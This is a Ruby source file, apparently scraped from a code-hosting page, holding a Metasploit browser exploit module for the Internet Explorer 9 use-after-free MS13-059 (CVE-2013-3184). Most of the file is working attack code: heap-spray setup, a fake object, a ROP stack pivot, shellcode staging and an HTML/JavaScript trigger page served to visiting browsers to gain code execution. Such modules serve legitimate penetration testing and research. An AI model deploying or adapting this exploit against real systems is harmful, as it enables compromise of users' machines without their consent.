167 lines
5.7 KiB
Ruby
167 lines
5.7 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::BrowserExploitServer
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "MS13-059 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free",
|
|
'Description' => %q{
|
|
This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9,
|
|
it seems to only affect certain releases of mshtml.dll, ranging from a newly
|
|
installed IE9 (9.0.8112.16446), to 9.00.8112.16502 (July 2013 update). IE8
|
|
requires a different way to trigger the vulnerability, but not currently covered
|
|
by this module.
|
|
|
|
The issue is specific to the browser's IE7 document compatibility, which can be
|
|
defined in X-UA-Compatible, and the content editable mode must be enabled. An
|
|
"onmove" event handler is also necessary to be able to trigger the bug, and the
|
|
event will be run twice before the crash. The first time is due to the position
|
|
change of the body element, which is also when a MSHTML!CFlatMarkupPointer::`vftable'
|
|
object is created during a "SelectAll" command, and this object will be used later
|
|
on for the crash. The second onmove event seems to be triggered by a InsertButton
|
|
(or Insert-whatever) command, which is also responsible for the free of object
|
|
CFlatMarkupPointer during page rendering. The EnsureRecalcNotify() function will
|
|
then still return an invalid reference to CFlatMarkupPointer (stored in EBX), and
|
|
then passes this on to the next functions (GetLineInfo -> QIClassID). When this
|
|
reference arrives in function QIClassID, an access violation finally occurs when
|
|
the function is trying to call QueryInterface() with the bad reference, and this
|
|
results a crash. Successful control of the freed memory may leverage arbitrary code
|
|
execution under the context of the user.
|
|
|
|
Note: It is also possible to see a different object being freed and used, doesn't
|
|
always have to be CFlatMarkupPointer.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'corelanc0d3r', # Vuln discovery, PoC
|
|
'sinn3r' # Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2013-3184' ],
|
|
[ 'OSVDB', '96182' ],
|
|
[ 'MSB', 'MS13-059' ],
|
|
[ 'BID', '61668' ],
|
|
[ 'ZDI', '13-194' ],
|
|
[ 'ZDI', '13-195' ]
|
|
],
|
|
'Platform' => 'win',
|
|
'BrowserRequirements' =>
|
|
{
|
|
:source => /script/i,
|
|
:os_name => OperatingSystems::WINDOWS,
|
|
:ua_name => HttpClients::IE,
|
|
:ua_ver => "9.0",
|
|
:os_flavor => "7",
|
|
:java => /1\.6|6\.0/,
|
|
:mshtml_build => lambda { |ver| ver.to_i.between?(16446, 16490) } # May 17 mshtml to MS13-Jun
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', {} ]
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00",
|
|
'StackAdjustment' => -3500
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'InitialAutoRunScript' => 'migrate -f'
|
|
},
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Jun 27 2013",
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def rnd_dword
|
|
rand_text_alpha(4).unpack("V").first
|
|
end
|
|
|
|
def get_fake_obj
|
|
# edx,dword ptr [eax]
|
|
# ...
|
|
# call edx
|
|
obj = [0x20302020].pack("V*") # EAX points to this (Target spray 0x20302020)
|
|
obj << [rnd_dword].pack("V*")
|
|
obj << [rnd_dword].pack("V*")
|
|
obj << [rnd_dword].pack("V*")
|
|
obj << [rnd_dword].pack("V*")
|
|
|
|
obj
|
|
end
|
|
|
|
# Target spray 0x20302020
|
|
# ESI is our fake obj, with [esi]=0x20302020, [esi+4]=0x42424242, so on
|
|
# eax=20302020 ebx=80004002 ecx=0250d890 edx=cccccccc esi=03909b68 edi=0250d8cc
|
|
# eip=cccccccc esp=0250d87c ebp=0250d8a8 iopl=0 nv up ei ng nz na po cy
|
|
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010283
|
|
# cccccccc ?? ???
|
|
def get_payload
|
|
code = ''
|
|
code << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
|
|
code << "\x61\x9d" # popad; popfd
|
|
code << payload.encoded
|
|
|
|
stack_pivot = [
|
|
0x7c342643, # xchg eax, esp; pop edi; add [eax], al, pop ecx; ret
|
|
0x0c0c0c0c
|
|
].pack("V*")
|
|
|
|
generate_rop_payload('java', code, {'pivot'=>stack_pivot})
|
|
end
|
|
|
|
# The meta-refresh seems very necessary to make the object overwrite more reliable.
|
|
# Without it, it only gets about 50/50
|
|
def get_template
|
|
js_fake_obj = ::Rex::Text.to_unescape(get_fake_obj)
|
|
js_payload = ::Rex::Text.to_unescape(get_payload)
|
|
|
|
template = %Q|
|
|
<html>
|
|
<meta http-equiv="X-UA-Compatible" content="IE=7"/>
|
|
<meta http-equiv="refresh" content="2"/>
|
|
<head>
|
|
<script language='javascript'>
|
|
<%=js_property_spray%>
|
|
|
|
var fake_obj = unescape("<%=js_fake_obj%>");
|
|
var s = unescape("<%=js_payload%>");
|
|
|
|
sprayHeap({shellcode:s});
|
|
|
|
function setupPage() {
|
|
document.body.style.position = 'absolute';
|
|
document.body.contentEditable = 'true';
|
|
document.body.style.right = '1';
|
|
}
|
|
|
|
function hitMe() {
|
|
document.execCommand('SelectAll');
|
|
document.execCommand('InsertButton');
|
|
sprayHeap({shellcode:fake_obj, heapBlockSize:0x10});
|
|
document.body.innerHTML = '<%=Rex::Text.rand_text_alpha(1)%>';
|
|
}
|
|
</script>
|
|
</head>
|
|
<body onload="setupPage()" onmove="hitMe()" />
|
|
</html>
|
|
|
|
|
|
|
return template, binding()
|
|
end
|
|
|
|
def on_request_exploit(cli, request, target_info)
|
|
send_exploit_html(cli, get_template)
|
|
end
|
|
end
|